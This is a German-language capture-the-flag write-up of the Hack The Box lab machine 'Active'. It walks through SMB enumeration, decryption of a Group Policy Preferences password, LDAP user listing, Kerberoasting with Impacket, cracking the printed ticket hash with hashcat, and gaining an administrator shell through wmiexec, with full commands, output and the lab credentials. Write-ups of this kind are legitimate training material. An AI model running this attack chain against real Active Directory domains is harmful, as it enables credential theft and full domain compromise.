Active HTB Writeup | Windows, Intro to Zephyr, SMB

Metadaten

Name: Active
Plattform: Windows
Kategorie: HTB Machine
Schwierigkeit: Easy
Ziel(e): User, Root/Administrator
Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Active aus dem Intro-to-Zephyr-Kontext mit SMB, Kerberoasting und Domain Admin.

Enumeration

nmap -sV -sC 10.10.10.100

output

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-10 11:28:41Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  tcpwrapped    syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
49152/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49165/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Die SMB-Enumeration zeigte sieben Shares. Besonders relevant war der anonym lesbare Share Replication.

smbmap

 smbmap -H 10.10.10.100

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.100:445        Name: 10.10.10.100              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
        Users                                                   NO ACCESS
[*] Closed 1 connections

Der Share Replication erlaubte lesenden Zugriff ohne gültige Credentials.

Über smbclient wurde der Share rekursiv gespiegelt, um interessante Policy-Dateien offline zu prüfen:

smbclient //10.10.10.100/Replication
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *

Anschließend wurden alle heruntergeladenen Dateien aufgelistet:

find /pfad/zum/verzeichnis -type f

find -type f
./Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI
./Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf
./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI
./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI
./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol
./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf

Die relevante Datei war Groups.xml. Darin lagen verschlüsselte Group-Policy-Preferences-Credentials für den Benutzer active.htb\SVC_TGS.

Foothold

Das Passwort ließ sich mit gpp-decrypt entschlüsseln:

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ GPPstillStandingStrong2k18

Auth Enum

smbmap -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100

OUTPUT

[+] IP: 10.10.10.100:445        Name: 10.10.10.100              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   READ ONLY
[*] Closed 1 connections

Enum User Share

smbclient -U SVC_TGS%GPPstillStandingStrong2k18 //10.10.10.100/Users

get user.txt flag on Desktop

Priv Escalation

ldapsearch

ldapsearch -x -H 'ldap://10.10.10.100' -D 'SVC_TGS' -w 'GPPstillStandingStrong2k18' -b
"dc=active,dc=htb" -s sub "(&(objectCategory=person)(objectClass=user)(!
(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" samaccountname | grep sAMAccountName

GetADUsers.py

python GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Querying 10.10.10.100 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2018-07-18 21:06:40.351723  2025-03-10 12:26:30.017370
Guest                                                 <never>              <never>
krbtgt                                                2018-07-18 20:50:36.972031  <never>
SVC_TGS

Get User SPN

 python GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2025-03-10 12:26:30.017370

request

GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request

┌──(root㉿smotschnig2)-[~/htb/lab/active]
└─# python GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2025-03-10 12:26:30.017370



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d939baa44e51a5e339dab4dc5fc76a75$fbc263715a8061295debec991ab29afbfab0a4ad9266f1eb95c66b3113c35305e10f58bbe5d1a95eb0b938743f0302e779f24fb49d3f2ddf8f67ca7360f181818b6d203ecfaafffdf29e6b0818be11511e1925f8eb3864c0bb406fe66ad4f6906e45b9523033d3695800f2500a1e359a24ebca94dfc9a1898086f3e887be37cc011a68cadddf173b3788e27f5c9d01d220ef9385a0313419f580f9e7e6f75758c4286aea1e98e88fa32fc4aaa2f8c5852d94d30a01188ea3e23ab8727a88486688f1fff7606b41e82de6c45b0f5a63a4a9d11f16254b86a8c3a5ada0c0896516f0219fc4636c6fde002b7f1be9fba49fd36fdfde089e408d7c7c6ed0f29c0203b5007567f05584cf84011b48d63f568306e95c245c69fa5918726587b5db8b5ae624440b04be31dfc747a80ba2edce1590aed2ea20cf3082b8a3f7f492e50d36a43a337c5bcee6095122ef341acbd3417df9a62718df1964e2e3254ad086843726be2c8f99dbbb0c7771ce0508d964c821ba468e2b460e910b02893c926509368ac2d828df75ef109ee1b170776ace56c2dd7728d70e68960c9ff5b406829ef2bb12702ed49e47fd2924488684fc073c1182fc6f0a30a6285c06da643fa1703d0d6c01a05d71405b2d0c1104d933fee5485623ff690bdd3d58472f1797e1a7e9e20e6c2291eb8857e7edd68f36609d975ce86be3323ba038084cbc3fc72a4977ebc697b0e7498023a983cf22e8d4a9f29bc70afbb1fecc975dafa11f68ca4cc18bfbd451bd0e752219e60f835632258cbfb9195b648adff7d23284a565bd43214283b217689cb2a8a8aace8d19caafaf2302b5d3a020b1f7da50d4f80e4fa1707d4de5d28d7bc8b59583b49193077a1e7f67c8cf2a402eb724c621dd9aed24b4a4f3c5d3e760dd07b6604c6c760cc041a36d424d623edeacb5115e8ab0e305cbb478fe303cd946545f6f4bf25902992462c088c479d5ec2af7e0693449e70f206a70b3f6482b24d36f151c622e8b7a287d9445a8e675971af093f850e15eb4259b07e58c028d337c0695dce01e84100e66c6ebc4dcf3a08aa530785851a709ad694b06d8d4b123f514a6631fd3e18f42848d0814ccbb0fa9b845ccb69b4db308e4101a86cade6ed4b8c3da044a00d1303bfb7e6dcdb8af169780a210d216ff48a81804663727e82f94641823f33b721acabd7be6d0330f41655e47992a201ced049a3d484430d786a33a138c0685b46266296a32c195758e1505

What is the plaintext password for the administrator account?

hashcat hashy /usr/share/wordlists/rockyou.txt

++ANTWORT++ Ticketmaster1968

Shell as Primary Domain Admin

impacket-wmiexec active.htb/administrator:Ticketmaster1968@10.10.10.100

C:\users\administrator\desktop>type root.txt b5a2a[REDACTED-ROOT-FLAG]036f

#winnerwinner